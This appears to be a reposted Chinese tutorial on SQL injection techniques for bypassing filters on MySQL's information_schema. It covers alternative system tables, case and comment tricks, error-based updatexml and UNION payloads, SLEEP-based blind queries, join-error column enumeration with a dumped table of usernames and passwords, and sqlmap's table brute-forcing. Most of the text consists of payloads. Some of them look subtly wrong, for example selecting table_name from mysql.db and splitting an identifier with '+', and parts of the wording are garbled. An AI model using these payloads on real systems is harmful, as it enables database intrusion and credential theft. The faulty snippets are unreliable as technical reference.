SQL注入绕information_schema防护的方法

 1. 利用其他系统表

不同的DBMS提供了其他系统表,可以用来查询数据库结构。

MySQL中的其他系统表

 

1.利用mysql5.7新增的sys.schema_auto_increment_columns   

  这是sys数据库下的一个视图,基础数据来自与information_schema,他的作用是对表的自增ID进行监控,也就是说,如果某张表存在自增ID,就可以通过该视图来获取其表名和所在数据库名

  以下为该表

SQL注入绕information_schema防护的方法_第1张图片

2.sys.schema_table_statistics_with_buffer

这是sys数据库下的视图,里面存储着所有数据库所有表的统计信息

与它表结构相似的视图还有

sys.x$schema_table_statistics_with_buffer

sys.x$schema_table_statistics

sys.x$ps_schema_table_statistics_io

SQL注入绕information_schema防护的方法_第2张图片

3.mysql默认存储引擎innoDB携带的表

mysql.innodb_table_stats

mysql.innodb_index_stats

两表均有database_name和table_name字段,可以利用

 

SQL注入绕information_schema防护的方法_第3张图片

PostgreSQL中的其他系统表

  • pg_catalog.pg_tables:存储表的基本信息
  • pg_catalog.pg_class:详细说明表和索引

SQL Server中的其他系统表

  • sys.objects:列出所有表和视图
  • sys.tables:列出表信息
  • sys.columns:列出列信息

2. 使用关键字操作绕过

如果information_schema只是被简单进行词符串匹配过滤,可以尝试如下绕迁方式:

大小写混合

如果数据库对大小写敏感,可以使用混合大小写来绕迁:

SELECT table_name FROM InForMatIon_ScHeMa.tables;

添加注释

可以在关键字中插入注释来绕迁词符串检查。

SELECT table_name FROM infor/**/mation_schema.tables;

字符串拼接

如果SQL解析器允许字符串拼接,可以通过字符串分割来绕迁。

SELECT table_name FROM infor'+'mation_schema.tables;

3. 利用相关数据表进行监测

利用错误注入

使用数据库的错误消息来透选元数据。

SELECT updatexml(1,concat(0x7e,(SELECT table_name FROM mysql.db LIMIT 1)),1);

尽量演绎并构造UNION查询

如果可以使用UNION SELECT,可以通过尽量演绎结构查询。

UNION SELECT table_name FROM mysql.db LIMIT 1;

4. 进行盲测探测

如果没有法返回数据,可以通过盲测探测来获取数据。

带有条件的盲测

SELECT IF((SELECT COUNT(*) FROM users)>10, SLEEP(5), 1);

单字符盲测

SELECT IF(SUBSTRING((SELECT table_name FROM users LIMIT 1),1,1)='u', SLEEP(5), 1);

5.join报错得到列名


这一部分要依赖于重复的列名导致的报错,从而获得列名。
构造要依赖于上文得到的表名信息
假设已经获得了security的一个表名为user

select * from (select * from users as a join users b)c;
ERROR 1060 (42S21): Duplicate column name 'id'

可以得到一个列名id,接下来添加using(已经获得的列名1,已经获得的列名2)就可以获得其他列名

mysql> select * from (select * from users as a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
得到username
mysql> select * from (select * from users as a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'password'
得到password

如果没有报错,表示已经获得所有的列名
查询会得到所有的数据
mysql> select * from (select * from users as a join users b using(id,username,password))c;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

6.sqlmap的处理


sqlmap提供了暴力破解表名的的选项--common-tables,当出现以下场景的时候。

DBMS(Database Management System,数据库管理系统)是 < 5.0 版本的 MySQL,它们不具备 information_schema。
DBMS 是微软的 Access 数据库,并且其中的系统表 MSysObjects 默认设置不可读。
当前会话用户对 DBMS 中存储数据表定义的系统表没有读权限。

就会采用字典中的表名进行暴力破解,表名储存在sqlmap路径\data\txt中

参考文章:
sqlmap用户手册
bypass information_schema

 

你可能感兴趣的:(渗透攻击,网络安全,sql)